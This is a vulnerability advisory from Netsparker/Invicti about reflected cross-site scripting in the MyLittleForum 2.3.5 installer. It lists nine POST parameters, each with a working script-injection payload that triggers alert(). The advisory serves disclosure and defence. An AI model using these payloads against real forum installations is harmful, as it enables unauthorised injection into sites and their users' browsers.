Multiple Reflected XSS Vulnerabilities in MyLittleForum 2.3.5
Information
Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in MyLittleForum
Affected Software: MyLittleForum
Affected Versions: 2.3.5
Vendor Homepage: https://github.com/ilosuna/mylittleforum/
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-002
Technical Details
Proof of Concept URL for Cross-site Scripting vulnerabilities in MyLittleForum;
URL: /mylittleforum/install/index.php
Parameter Name: admin_email
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F12)</scRipt>
URL: /mylittleforum/install/index.php
Parameter Name: admin_name
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F10)</scRipt>
URL: /mylittleforum/install/index.php
Parameter Name: forum_name
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F02)</scRipt>
URL: /mylittleforum/install/index.php
Parameter Name: table_prefix
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003FA4)</scRipt>
URL: /mylittleforum/install/index.php
Parameter Name: forum_email
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F0E)</scRipt>
URL: /mylittleforum/install/index.php
Parameter Name: database
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F72)</scRipt>
URL: /mylittleforum/install/index.php
Parameter Name: user
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F74)</scRipt>
URL: /mylittleforum/install/index.php
Parameter Name: host
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F70)</scRipt>
URL: /mylittleforum/install/index.php
Parameter Name: forum_address
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F0C)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
29th July 2016 – Issue reported
July 2016 – January 2017 – Several attempts to get in touch
24th January 2017 – Advisory released
Credits & Authors
This issue has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
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